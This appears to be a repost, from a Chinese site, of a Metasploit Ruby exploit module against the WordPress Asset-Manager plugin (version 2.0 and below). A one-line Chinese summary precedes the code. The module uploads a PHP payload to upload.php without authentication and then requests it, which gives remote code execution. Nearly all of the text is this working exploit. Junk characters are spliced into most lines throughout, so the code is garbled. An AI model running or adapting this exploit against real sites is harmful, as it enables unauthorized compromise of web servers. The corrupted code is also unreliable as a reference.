这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
3 Y# p( M( f7 s2 J9 d4 m( ]
4 I7 Q* c: h# F3 x1 ~/ ]0 c& t& r8 J##
, f% S& n3 y9 h$ _ g5 d# This file is part of the Metasploit Framework and may be subject to
8 m9 _# k0 b& [1 \7 D, k# redistribution and commercial restrictions. Please see the Metasploit4 V0 T" K8 ^' D
# Framework web site for more information on licensing and terms of use.) O6 N, A" L2 k* A
# http://metasploit.com/framework/2 J. A$ Y& B! J) f( a/ ^. x' B* T
##
5 U0 `" e* n9 }' y ) h5 L% e' G' p5 A6 S
require 'msf/core'
% \( |3 o3 u4 k; trequire 'msf/core/exploit/php_exe'
; _( Z8 y8 m& h- X4 w# l 1 G3 H/ Y* v3 P
class Metasploit3 < Msf::Exploit::Remote
6 c7 N" v8 ] g+ m Rank = ExcellentRanking
( ?4 z3 H4 p" X, l
5 A7 w s9 V( y) R$ G include Msf::Exploit::Remote::HttpClient
v) M8 J. Y+ P7 o include Msf::Exploit: hpEXE6 l$ M7 f. h9 q! i
9 B0 z s P4 u& z& w! P/ D
def initialize(info = {})
. I/ k& F3 T& }5 [, Q9 V* I" _ super(update_info(info,
. v, m0 Z/ N- A- a0 H# G! r 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
. Y3 D# y" Y2 [ q- T 'Description' => %q{
- r( T% @: ?% Y This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress; v9 C5 X+ j! `0 e3 w
plugin. By abusing the upload.php file, a malicious user can upload a file to a
$ y0 e/ m* P J7 \$ S temp directory without authentication, which results in arbitrary code execution.- g. N+ I; B$ b( ~8 A
},
1 V) o1 n2 Z; Z 'Author' =>9 Y- i; k$ s2 \' A1 H# @1 T7 M
[+ {5 n9 T s6 U' v
'Sammy FORGIT', # initial discovery* m+ O# Z- c* a+ @
'James Fitts <fitts.james[at]gmail.com>' # metasploit module Z ]5 C3 U; C
],$ y" G, Y1 S# [- b6 U
'License' => MSF_LICENSE,- n5 H$ e3 y, k& C; Z0 I
'References' =>
; d! h) [; r) R" ]; L [) }& p3 U/ ?+ ^" R& g! e
[ 'OSVDB', '82653' ],. w0 E/ d. B& ~, e j/ a5 l
[ 'BID', '53809' ],+ E: g+ |$ N Z7 k7 S" w
[ 'EDB', '18993' ],
' C! ~8 G3 r. ]8 Q/ h+ f [ 'URL', 'http:// www.myhack58.com /' ]" H, J1 _& o8 o- G
],
# Y1 S7 w! R" U B& Y 'Payload' =>5 c# g7 ?; ]$ m, n
{
- C" x" C+ P. A5 a5 t' ]* K! W2 n 'BadChars' => "\x00",
8 ?- s F7 o6 [0 b! j8 M },7 {1 v( f: U4 }, b8 `
'Platform' => 'php',
+ j' S6 i( k a3 L1 A0 |2 U$ Z 'Arch' => ARCH_PHP,7 K% h2 X- S8 \0 y- R# M
'Targets' =>+ p2 ]6 k" g& K" k
[
$ c- o$ K* v# D' R( ^' ~& ]& x$ ~ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],+ [# Y7 b- m& t) Q
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
$ S: t) `8 z3 t$ S9 k# h( B8 J# W ],
; p6 f' S2 o+ U* }+ } 'DefaultTarget' => 0,
# l: U# ^- b) n3 b 'DisclosureDate' => 'May 26 2012'))$ t; j* `$ `. v) Z
4 z- K4 |6 h; {4 [0 S! ?% R2 x
register_options(
" C1 ]) S! L2 S. N0 E3 k x [. |4 ~' H& K1 Q. O
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])4 Q: s3 k6 x* v! e) c0 k7 I
], self.class)6 q) X; j5 c5 _6 Y7 s
end) [! g/ H6 Q: U1 r. f q( o$ P: h$ n
5 F7 @" b4 j) R8 j+ |/ b8 _ def exploit, X; m1 ]/ m, B
uri = target_uri.path9 a6 A% h) A' W7 q: `; B
uri << '/' if uri[-1,1] != '/'' f6 Q, s4 l7 K" g) O$ v& L
peer = "#{rhost}:#{rport}"2 u/ x: k# Q. }
payload_name = "#{rand_text_alpha(5)}.php"
4 F2 K/ \' V$ J2 V# C php_payload = get_write_exec_payload(:unlink_self=>true)2 j3 E- Q) }$ g" u( N" q- p4 d
2 F0 `% h, M/ p8 o% v
data = Rex::MIME::Message.new
' ]4 j) t1 t0 X data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
) Z ^" q8 M* @6 J+ Q# @! e post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')/ [+ ?) n. |" l9 d( S$ Y$ I3 ^
0 a2 I0 X7 P9 u' h4 ~$ B* C- _ print_status("#{peer} - Uploading payload #{payload_name}")
% k* I" o y' \! P0 `; [ res = send_request_cgi({/ |3 s. m( J4 c2 b0 _! G& g# U
'method' => 'POST',
& b" u- F) _2 a- H 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",5 \ ~- y; h! `5 u
'ctype' => "multipart/form-data; boundary=#{data.bound}",6 Z J! i1 |$ m0 T" B% ~
'data' => post_data, S2 F. J& |2 X, J2 y7 q& I4 d5 U
})
9 B/ a! I. ?8 I
" D, o! c; z$ D' c' b0 X/ Q if not res or res.code != 200 or res.body !~ /#{payload_name}/
2 N) C6 b' O+ B fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")4 o. A- k' \0 K* o
end
/ Y' {: e+ J; {$ F0 o* f% U
, V. C( t: r4 m. r print_status("#{peer} - Executing payload #{payload_name}")9 T* P; {0 v* C& O9 v" d: Z
res = send_request_raw({- v" f& |/ |6 W2 f) `7 J
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",/ `/ X% y/ {* `/ m( T
'method' => 'GET'8 S9 M, B, Q2 n4 l/ ~! L
}), r2 ]; A' i& m
1 L) ^, V+ C {( e1 v
if res and res.code != 2000 L$ p6 J! m$ c2 p. W% P& ^
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
' { b/ @9 u m- l& A$ m end; {3 {/ q- O# \$ Y' B& N5 X
end
7 y# E/ Q3 W) N* q o) j8 ^end, G/ c" E& ~1 U5 X
|